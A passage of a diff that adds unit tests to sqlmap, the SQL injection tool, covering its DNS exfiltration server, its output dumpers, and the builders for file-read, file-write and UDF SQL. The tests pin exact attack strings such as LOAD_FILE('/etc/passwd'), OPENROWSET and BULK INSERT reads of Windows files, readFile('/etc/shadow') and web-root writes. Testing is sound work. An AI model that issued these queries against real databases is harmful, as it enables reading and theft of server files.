self.addCleanup(srv.close) srv.run() - while not srv._initialized: - time.sleep(0.02) + _wait_initialized(srv) c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for i in range(200): # flood well past the bound - c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", self.PORT)) + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", srv.port)) c.close() # a legit exfil query right after the flood must still be capturable c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) - c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", self.PORT)) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", srv.port)) try: c2.recvfrom(512) except socket.timeout: pass finally: c2.close() - popped = None - for _ in range(200): - popped = srv.pop("ppp", "qqq") - if popped: - break - time.sleep(0.01) + popped = _wait_popped(srv, "ppp", "qqq") with srv._lock: n = len(srv._requests) self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) @@ -182,11 +223,11 @@ class TestDNSServerMemoryBound(unittest.TestCase): class TestDNSServerResilience(unittest.TestCase): - def _make(self, port, sock=None): - srv = _HighPortDNSServer(port, sock=sock) + def _make(self, sock=None): + srv = _HighPortDNSServer(sock=sock) + self.addCleanup(srv.close) srv.run() - while not srv._initialized: - time.sleep(0.02) + _wait_initialized(srv) return srv def _query(self, port, name): @@ -200,34 +241,28 @@ class TestDNSServerResilience(unittest.TestCase): finally: c.close() - def _recorded(self, srv, token, tries=120): - for _ in range(tries): - with srv._lock: - if any(token.encode() in r for r in srv._requests): - return True - time.sleep(0.01) - return False + def _recorded(self, srv, token): + return _wait_recorded(srv, token) def test_survives_transient_send_error(self): - port = 5472 + # ephemeral bind, then wrap the bound socket so its first sendto() raises s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - s.bind(("127.0.0.1", port)) - srv = self._make(port, sock=_SendFailOnceSocket(s)) - self._query(port, "aaa.11.bbb.exfil.test") # first sendto raises - self._query(port, "ccc.22.ddd.exfil.test") # must still be served + s.bind(("127.0.0.1", 0)) + srv = self._make(sock=_SendFailOnceSocket(s)) + self._query(srv.port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(srv.port, "ccc.22.ddd.exfil.test") # must still be served self.assertTrue(self._recorded(srv, "ccc.22.ddd"), "DNS server died after one failing sendto (lost subsequent exfil)") self.assertTrue(srv._running) def test_survives_malformed_packets(self): - port = 5473 - srv = self._make(port) + srv = self._make() c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): - c.sendto(junk, ("127.0.0.1", port)) + c.sendto(junk, ("127.0.0.1", srv.port)) c.close() - self._query(port, "ok.33.fine.exfil.test") + self._query(srv.port, "ok.33.fine.exfil.test") self.assertTrue(self._recorded(srv, "ok.33.fine"), "DNS server died on a malformed packet") @@ -235,14 +270,19 @@ class TestDNSServerResilience(unittest.TestCase): class TestDNSServerConcurrency(unittest.TestCase): """Under --threads, many workers fire DNS queries and call pop() while the server thread appends - all guarded by one lock. Each worker must get back exactly its own data.""" - PORT = 5474 @classmethod def setUpClass(cls): - cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv = _HighPortDNSServer() cls.srv.run() - while not cls.srv._initialized: - time.sleep(0.02) + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None def test_concurrent_send_and_pop_no_crosstalk(self): import binascii, re @@ -258,19 +298,14 @@ class TestDNSServerConcurrency(unittest.TestCase): c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(2) try: - c.sendto(build_query(host), ("127.0.0.1", self.PORT)) + c.sendto(build_query(host), ("127.0.0.1", self.srv.port)) try: c.recvfrom(512) except socket.timeout: pass finally: c.close() - got = None - for _ in range(200): - got = self.srv.pop(prefix, suffix) - if got: - break - time.sleep(0.01) + got = _wait_popped(self.srv, prefix, suffix) if not got: errors.append("worker %d: never popped its query" % i); return m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py new file mode 100644 index 000000000..ce9076c6b --- /dev/null +++ b/tests/test_dump_format.py @@ -0,0 +1,410 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Output formatting of the result dumper (lib/core/dump.py) and the SQLite +replication backend (lib/core/replication.py). + +dump.Dump turns extracted DB structures (schemas, table/column listings, row +counts, single facts, user lists) into the human-readable ASCII tables printed +to the console, and serializes per-table row data to CSV / HTML / SQLite files. +None of that needs a live target, network or DBMS: the console renderers route +every line through Dump._write (overridden here to capture instead of print), +and the file renderers just write to a path we point at a temp dir. These tests +pin the rendered layout/escaping contracts so a formatting regression is caught +without an end-to-end scan. +""" + +import io +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict as _PlainOrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT +from lib.core.replication import Replication + + +# --- console-rendering tests (no files): capture every Dump._write line -------------------------- + +class _CaptureCase(unittest.TestCase): + """Base for the console renderers: pins a neutral case-preserving DBMS, disables api/report + side channels, and replaces Dump._write with an in-memory capture so nothing hits stdout.""" + + _CONF_KEYS = ("api", "reportCollector", "dumpFormat", "col", "csvDel", "dumpPath", "dumpFile", + "limitStart", "limitStop", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + conf.api = False + conf.reportCollector = None + conf.col = None + conf.csvDel = "," + self.lines = [] + self.d = Dump() + self.d._write = self._capture + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + + def _capture(self, data, newline=True, console=True, content_type=None): + # mirror Dump._write's own line-vs-space join so multi-call lines reassemble faithfully + self.lines.append("%s%s" % (data, "\n" if newline else " ")) + + def text(self): + return "".join(self.lines) + + +class TestStringAndLister(_CaptureCase): + def test_string_scalar_quoted(self): + # a plain string fact is rendered as "header: 'value'" + self.d.string("current user", "root@localhost") + self.assertIn("current user: 'root@localhost'", self.text()) + + def test_string_multiline_block(self): + # a value containing a newline switches to the fenced ---\n...\n--- block form + self.d.string("banner", "line1\nline2") + out = self.text() + self.assertIn("banner:\n---\nline1\nline2\n---", out) + + def test_string_singleton_list_unwrapped(self): + # a one-element list is unwrapped to the scalar form (not the lister "[N]:" form) + self.d.string("current database", ["testdb"]) + out = self.text() + self.assertIn("current database: 'testdb'", out) + self.assertNotIn("[1]", out) + + def test_lister_sorts_and_counts(self): + # lister prints a "[count]:" header, one "[*] item" per element, sorted case-insensitively + self.d.lister("available databases", ["mysql", "Alpha", "zebra"]) + out = self.text() + self.assertIn("available databases [3]:", out) + body = out[out.index("[3]:"):] + # case-insensitive ascending: Alpha, mysql, zebra + self.assertLess(body.index("[*] Alpha"), body.index("[*] mysql")) + self.assertLess(body.index("[*] mysql"), body.index("[*] zebra")) + + def test_lister_dedupes(self): + # the sort path also de-duplicates (set()) before listing + self.d.lister("database management system users", ["root", "root", "guest"]) + out = self.text() + self.assertIn("database management system users [2]:", out) + self.assertEqual(out.count("[*] root"), 1) + + def test_lister_unsorted_preserves_order(self): + # sort=False (e.g. rFile) keeps insertion order + self.d.lister("files saved to", ["/z", "/a", "/m"], sort=False) + out = self.text() + self.assertLess(out.index("[*] /z"), out.index("[*] /a")) + self.assertLess(out.index("[*] /a"), out.index("[*] /m")) + + +class TestCurrentDb(_CaptureCase): + def test_label_default_dbms(self): + # MySQL is not in the schema/owner special-cased lists -> plain "current database" + self.d.currentDb("testdb") + self.assertIn("current database: 'testdb'", self.text()) + + def test_label_schema_dbms(self): + # Oracle is in the schema-equivalent list -> the label is annotated accordingly + Backend.forceDbms("Oracle") + self.d.currentDb("SYSTEM") + out = self.text() + self.assertIn("equivalent to schema on Oracle", out) + self.assertIn("SYSTEM", out) + + +class TestDbTables(_CaptureCase): + def test_table_listing_box(self): + self.d.dbTables({"testdb": ["users", "logs"]}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("[2 tables]", out) + self.assertIn("| users", out) + self.assertIn("| logs", out) + # box borders present + self.assertIn("+", out) + + def test_single_table_singular(self): + self.d.dbTables({"testdb": ["only"]}) + self.assertIn("[1 table]", self.text()) + + def test_no_tables(self): + self.d.dbTables({}) + self.assertIn("No tables found", self.text()) + + def test_box_width_matches_longest_table(self): + # the border length tracks the longest table name (+2 padding) + self.d.dbTables({"testdb": ["a", "elephant"]}) + out = self.text() + # "elephant" is 8 chars -> a border line of 8+2 = 10 dashes exists + self.assertIn("+%s+" % ("-" * 10), out) + + +class TestDbTableColumns(_CaptureCase): + def test_typed_columns_two_column_box(self): + self.d.dbTableColumns({"testdb": {"users": {"id": "int", "name": "varchar(50)"}}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("Table: users", out) + self.assertIn("[2 columns]", out) + self.assertIn("| Column", out) + self.assertIn("| Type", out) + self.assertIn("int", out) + self.assertIn("varchar(50)", out) + + def test_typeless_columns_single_box(self): + # when no column carries a type, only the Column box is rendered (no Type header) + self.d.dbTableColumns({"testdb": {"users": {"id": None, "name": None}}}) + out = self.text() + self.assertIn("| Column", out) + self.assertNotIn("| Type", out) + + def test_mixed_types_still_show_type_header(self): + # even if the alphabetically-last column is type-less, a Type column must appear + self.d.dbTableColumns({"testdb": {"t": {"aaa": "int", "zzz": None}}}) + self.assertIn("| Type", self.text()) + + +class TestDbTablesCount(_CaptureCase): + def test_count_box_sorted_desc(self): + self.d.dbTablesCount({"testdb": {5: ["small"], 100: ["big"]}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("| Table", out) + self.assertIn("| Entries", out) + # higher count first (reverse sort) + self.assertLess(out.index("big"), out.index("small")) + self.assertIn("100", out) + + +class TestUserSettings(_CaptureCase): + def test_privileges_listed_with_admin_flag(self): + # userSettings accepts (settingsDict, adminsSet); admins get an "(administrator)" tag + settings = ({"root": ["ALL"], "guest": ["SELECT"]}, set(["root"])) + self.d.userSettings("database management system users privileges", settings, "privilege") + out = self.text() + self.assertIn("[*] root (administrator)", out) + self.assertIn("[*] guest", out) + self.assertNotIn("guest (administrator)", out) + self.assertIn("privilege: ALL", out) + self.assertIn("privilege: SELECT", out) + + +# --- file-rendering tests (CSV / HTML / SQLite): point output at a temp dir ---------------------- + +class _FileDumpCase(unittest.TestCase): + _CONF_KEYS = ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", + "limitStart", "limitStop", "csvDel", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-dumpfmt-test") + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _path(self, table_values, ext): + db = table_values["__infos__"]["db"] or "All" + return os.path.join(self.tmp, db, "%s.%s" % (table_values["__infos__"]["table"], ext)) + + def _dump(self, table_values, fmt, ext): + conf.dumpFormat = fmt + self.d.dbTableValues(table_values) + with io.open(self._path(table_values, ext), encoding="utf-8") as f: + return f.read() + + +class TestCsvDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1", "2"]}), + ("name", {"length": 6, "values": ["luther", "fluffy"]}), + ]) + + def test_header_and_rows(self): + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(lines[0].split(","), ["id", "name"]) + self.assertEqual(lines[1].split(","), ["1", "luther"]) + self.assertEqual(lines[2].split(","), ["2", "fluffy"]) + + def test_delimiter_in_value_is_quoted(self): + # RFC-4180: a value containing the delimiter must be wrapped in quotes + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 8, "values": ["x,y"]}), + ("b", {"length": 1, "values": ["z"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + self.assertIn('"x,y"', content) + + def test_null_and_blank_markers(self): + # the display replacements apply to CSV too: DB NULL (" ") -> NULL, empty ("") -> + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 4, "values": [" "]}), + ("b", {"length": 7, "values": [""]}), + ("c", {"length": 1, "values": ["x"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + row = [l for l in content.splitlines() if l.strip()][1] + self.assertEqual(row.split(","), ["NULL", "", "x"]) + + def test_custom_delimiter(self): + conf.csvDel = ";" + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + self.assertEqual(content.splitlines()[0].split(";"), ["id", "name"]) + + +class TestHtmlDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1"]}), + ("name", {"length": 6, "values": ["luther"]}), + ]) + + def test_html_scaffold_and_cells(self): + content = self._dump(self._sample(), DUMP_FORMAT.HTML, "html") + self.assertIn("", content) + self.assertIn("testdb.users", content) + self.assertIn("id", content) + self.assertIn(">name", content) + self.assertIn("1", content) + self.assertIn("luther", content) + self.assertIn("", content) + self.assertIn("", content) + + def test_html_escapes_markup(self): + # a value with HTML metacharacters must be escaped, not emitted raw + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("payload", {"length": 16, "values": [""]}), + ]) + content = self._dump(tv, DUMP_FORMAT.HTML, "html") + self.assertNotIn("", content) + self.assertIn("<", content) + + +class TestSqliteDump(_FileDumpCase): + def test_rows_and_inferred_types(self): + tv = _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "people"}), + ("id", {"length": 2, "values": ["1", "2"]}), # all ints -> INTEGER + ("ratio", {"length": 4, "values": ["1.5", "2.0"]}), # floats -> REAL + ("name", {"length": 6, "values": ["alice", " "]}), # text with a NULL marker + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + dbfile = os.path.join(self.tmp, "testdb.sqlite3") + self.assertTrue(os.path.exists(dbfile)) + conn = sqlite3.connect(dbfile) + try: + cur = conn.cursor() + cur.execute("SELECT id, ratio, name FROM people ORDER BY id") + rows = cur.fetchall() + self.assertEqual(rows[0], (1, 1.5, "alice")) + # the DB NULL marker (" ") was stored as a real NULL, not the "NULL" text + self.assertEqual(rows[1], (2, 2.0, None)) + # column affinities inferred from the values + cur.execute("PRAGMA table_info(people)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["id"], "INTEGER") + self.assertEqual(types["ratio"], "REAL") + self.assertEqual(types["name"], "TEXT") + finally: + conn.close() + + +# --- replication backend tests (pure sqlite3, no network/DBMS) ----------------------------------- + +class TestReplication(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap-repl-test") + self.path = os.path.join(self.tmp, "out.sqlite3") + self.repl = Replication(self.path) + + def tearDown(self): + try: + self.repl.connection.close() + except Exception: + pass + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_create_insert_select_roundtrip(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.beginTransaction() + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + t.endTransaction() + rows = sorted(t.select()) + self.assertEqual(rows, [(1, "alice"), (2, "bob")]) + + def test_select_with_condition(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + self.assertEqual(t.select("name = 'bob'"), [(2, "bob")]) + + def test_insert_wrong_arity_raises(self): + from lib.core.exception import SqlmapValueException + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + with self.assertRaises(SqlmapValueException): + t.insert(["only-one-value"]) + + def test_typeless_table(self): + t = self.repl.createTable("t", ["a", "b"], typeless=True) + t.insert(["x", "y"]) + self.assertEqual(t.select(), [("x", "y")]) + + def test_datatype_str(self): + self.assertEqual(str(Replication.TEXT), "TEXT") + self.assertEqual(str(Replication.INTEGER), "INTEGER") + self.assertIn("DataType", repr(Replication.REAL)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py new file mode 100644 index 000000000..bcf6da6a4 --- /dev/null +++ b/tests/test_filesystem.py @@ -0,0 +1,736 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the file-read/file-write/UDF-injection SQL & command builders: + + - plugins/generic/filesystem.py (encoding, INSERT/UPDATE query forging, + length probe, read/write dispatch) + - plugins/dbms/mssqlserver/filesystem.py + (debug.exe SCR script, BULK INSERT / + bin->hex extraction, PowerShell & + certutil base64 upload commands) + - lib/takeover/udf.py (sys_exec/sys_eval calls, CREATE FUNCTION + SQL for MySQL/PostgreSQL, remote-path + selection, UDF pruning) + +These methods are (near-)pure string builders given conf/kb plus the injection +layer. Each test drives the real method with inject.goStacked / inject.getValue +(and, for MSSQL, xpCmdshellWriteFile/execCmd) captured, and asserts the EXACT +SQL / command / encoded payload produced -- so a regression in the assembly +logic fails the test. No live target / network / DBMS involved. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.convert import encodeHex, encodeBase64, getText +from lib.core.enums import PAYLOAD + + +# --------------------------------------------------------------------------- # +# shared base: snapshot/restore every global + monkeypatch these tests touch # +# --------------------------------------------------------------------------- # +class _FsBase(unittest.TestCase): + # subclasses set `target_modules` = list of modules whose inject.* we patch + target_modules = () + + # conf fields read by the methods under test + _CONF_KEYS = ("batch", "direct", "fileRead", "fileWrite", "filePath", + "commonFiles", "osPwn", "osCmd", "osShell", "regRead", + "regAdd", "regDel", "tmpPath", "shLib", "encoding") + _KB_KEYS = ("bruteMode", "binaryField", "fileReadMode") + + def setUp(self): + self._conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._kb = {k: kb.get(k) for k in self._KB_KEYS} + self._patched = [] # (obj, attr, original) + + conf.batch = True + conf.direct = True + kb.bruteMode = False + + def tearDown(self): + for obj, attr, orig in reversed(self._patched): + setattr(obj, attr, orig) + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def patch(self, obj, attr, value): + self._patched.append((obj, attr, getattr(obj, attr))) + setattr(obj, attr, value) + return value + + +# --------------------------------------------------------------------------- # +# plugins/generic/filesystem.py # +# --------------------------------------------------------------------------- # +class TestGenericFilesystem(_FsBase): + import plugins.generic.filesystem as module + + def _fs(self): + return self.module.Filesystem() + + # -- fileContentEncode ------------------------------------------------- # + def test_fileContentEncode_hex_single(self): + # single=True -> one element, 0x-prefixed, exact lower-case hex of bytes + out = self._fs().fileContentEncode(b"ABC", "hex", True) + self.assertEqual(out, ["0x414243"]) + + def test_fileContentEncode_base64_single(self): + out = self._fs().fileContentEncode(b"ABC", "base64", True) + self.assertEqual(out, ["'QUJD'"]) + + def test_fileContentEncode_hex_chunked(self): + # 4 bytes -> 8 hex chars; chunkSize=4 -> two 0x-prefixed chunks of 4 chars + out = self._fs().fileContentEncode(b"ABCD", "hex", False, chunkSize=4) + self.assertEqual(out, ["0x4142", "0x4344"]) + + def test_fileContentEncode_base64_chunked(self): + # "ABCD" -> base64 "QUJDRA==" (8 chars); chunkSize=4 -> two quoted chunks + out = self._fs().fileContentEncode(b"ABCD", "base64", False, chunkSize=4) + self.assertEqual(out, ["'QUJD'", "'RA=='"]) + + def test_fileContentEncode_chunk_below_threshold_is_single(self): + # content shorter than chunkSize, single=False -> still one 0x chunk + out = self._fs().fileContentEncode(b"AB", "hex", False, chunkSize=256) + self.assertEqual(out, ["0x4142"]) + + def test_fileEncode_reads_then_encodes(self): + # fileEncode must read the file bytes and delegate to fileContentEncode + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"hello") + try: + out = self._fs().fileEncode(path, "hex", True) + finally: + os.remove(path) + self.assertEqual(out, ["0x%s" % getText(encodeHex(b"hello"))]) + self.assertEqual(out, ["0x68656c6c6f"]) + + # -- fileToSqlQueries -------------------------------------------------- # + def test_fileToSqlQueries_insert_then_concat_update(self): + # first chunk -> INSERT; subsequent -> UPDATE using the DBMS concatenate + # template (MySQL: CONCAT(field, chunk)). + set_dbms("MySQL") + fs = self._fs() + queries = fs.fileToSqlQueries(["0x4142", "0x4344", "0x4546"]) + tbl, fld = fs.fileTblName, fs.tblField + self.assertEqual(queries[0], + "INSERT INTO %s(%s) VALUES (0x4142)" % (tbl, fld)) + self.assertEqual(queries[1], + "UPDATE %s SET %s=CONCAT(%s,0x4344)" % (tbl, fld, fld)) + self.assertEqual(queries[2], + "UPDATE %s SET %s=CONCAT(%s,0x4546)" % (tbl, fld, fld)) + + # -- _checkFileLength -------------------------------------------------- # + def test_checkFileLength_mysql_query_and_samefile(self): + # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # 5 bytes + captured = {} + + def getValue(query, *a, **k): + captured["query"] = query + return "5" + + self.patch(self.module.inject, "getValue", getValue) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertEqual(captured["query"], + "LENGTH(LOAD_FILE('/etc/passwd'))") + self.assertIs(same, True) + + def test_checkFileLength_size_differs(self): + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # local 5 + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + # remote 9 != local 5 -> not the same file + self.assertIs(same, False) + + def test_checkFileLength_mssql_openrowset_stacked(self): + # MSSQL path issues an OPENROWSET BULK INSERT then DATALENGTH probe. + # createSupportTbl lives in the misc mixin; stub it on a subclass so the + # OPENROWSET-building branch runs in isolation. + set_dbms("Microsoft SQL Server") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"ABCD") # 4 bytes + stacked = [] + + class FS(self.module.Filesystem): + def createSupportTbl(self, *a, **k): + pass + + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "4") + fs = FS() + try: + same = fs._checkFileLength(path, "C:\\boot.ini") + finally: + os.remove(path) + tbl, fld = fs.fileTblName, fs.tblField + # createSupportTbl DROP+CREATE, then the OPENROWSET insert + insert = ("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK " + "'C:\\boot.ini', SINGLE_BLOB) AS %s(%s)" + % (tbl, fld, fld, tbl, fld)) + self.assertIn(insert, stacked) + self.assertIs(same, True) + + def test_checkFileLength_not_written_warns_false(self): + # non-positive remote size -> treated as "not written" -> sameFile False + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"x") + self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertIs(same, False) + + # -- readFile ---------------------------------------------------------- # + def test_readFile_decodes_hex_and_writes(self): + # Drive the generic readFile orchestration with a stubbed stackedReadFile + # returning canned hex; assert the bytes handed to dataToOutFile are the + # decoded content (raw bytes), and the remote name is passed through. + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + return encodeHex(b"secret-data", binary=False) + + def askCheckReadFile(self, localFile, remoteFile): + return None + + def grab(name, data): + written["d"] = (name, data) + return "/out/path" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/etc/shadow") + self.assertEqual(written["d"][0], "/etc/shadow") + self.assertEqual(written["d"][1], b"secret-data") + self.assertEqual(out, ["/out/path"]) + + def test_readFile_listlike_chunks_joined(self): + # list-of-chunks return value gets flattened before hex-decoding + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + # two chunks (each a 1-element list, as inject.getValue returns) + return [[encodeHex(b"AB", binary=False)], + [encodeHex(b"CD", binary=False)]] + + def askCheckReadFile(self, localFile, remoteFile): + return True + + def grab(name, data): + written["d"] = data + return "/out" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/f") + self.assertEqual(written["d"], b"ABCD") + # askCheckReadFile True -> suffix annotation + self.assertEqual(out, ["/out (same file)"]) + + # -- writeFile dispatch ------------------------------------------------ # + def test_writeFile_dispatches_to_stacked(self): + # With stacking available (conf.direct True), writeFile must route to + # stackedWriteFile and return its result. + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"data") + calls = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + calls["cleanup"] = True + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["args"] = (localFile, remoteFile, fileType, forceCheck) + return True + + try: + res = FS().writeFile(path, "/var/www/x", "text", forceCheck=True) + finally: + os.remove(path) + self.assertIs(res, True) + self.assertEqual(calls["args"], (path, "/var/www/x", "text", True)) + self.assertTrue(calls["cleanup"]) + + +# --------------------------------------------------------------------------- # +# plugins/dbms/mssqlserver/filesystem.py # +# --------------------------------------------------------------------------- # +class TestMSSQLFilesystem(_FsBase): + import plugins.dbms.mssqlserver.filesystem as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + # -- _dataToScr (debug.exe script) ------------------------------------- # + def test_dataToScr_header_and_hex_bytes(self): + fs = self._handler() + lines = fs._dataToScr(b"AB", "chunk1") + # header: name / rcx / size(hex) / fill + self.assertEqual(lines[0], "n chunk1") + self.assertEqual(lines[1], "rcx") + self.assertEqual(lines[2], "%x" % 2) # size = 2 bytes + self.assertEqual(lines[3], "f 0100 %x 00" % 2) + # the data 'e' line: base addr 0x100, hex of 'A'(41) and 'B'(42) + self.assertEqual(lines[4], "e 100 41 42") + self.assertEqual(lines[-2], "w") + self.assertEqual(lines[-1], "q") + + def test_dataToScr_wraps_lines_and_advances_address(self): + # lineLen=20, so 21 bytes -> two 'e' lines; second starts at 0x100+20=0x114 + fs = self._handler() + content = bytes(bytearray(range(21))) # 21 bytes 0x00..0x14 + lines = fs._dataToScr(content, "c") + eLines = [ln for ln in lines if ln.startswith("e ")] + self.assertEqual(len(eLines), 2) + self.assertTrue(eLines[0].startswith("e 100 00 01 02")) + # 20 bytes consumed -> next address 0x100+0x14 = 0x114 + self.assertTrue(eLines[1].startswith("e 114 14")) + + # -- stackedReadFile (BULK INSERT + bin->hex extraction) --------------- # + def test_stackedReadFile_builds_bulk_insert_and_decodes(self): + fs = self._handler() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + + # UNION available -> single getValue returns the hex content directly + def getValue(query, *a, **k): + return encodeHex(b"file-bytes", binary=False) + + self.patch(self.module.inject, "getValue", getValue) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: True) + + result = fs.stackedReadFile("C:\\secret.txt") + + # the BULK INSERT statement loading the file into the support table + bulk = [q for q in stacked if q.startswith("BULK INSERT ")] + self.assertEqual(len(bulk), 1) + self.assertIn("FROM 'C:\\secret.txt'", bulk[0]) + self.assertIn("CODEPAGE='RAW'", bulk[0]) + # the bin->hex conversion routine must reference the 0..F charset + binhex = [q for q in stacked if "0123456789ABCDEF" in q] + self.assertEqual(len(binhex), 1) + self.assertIn("DATALENGTH", binhex[0]) + # result is the raw hex string returned by getValue + self.assertEqual(result, encodeHex(b"file-bytes", binary=False)) + + def test_stackedReadFile_chunked_when_no_union(self): + # No UNION technique -> 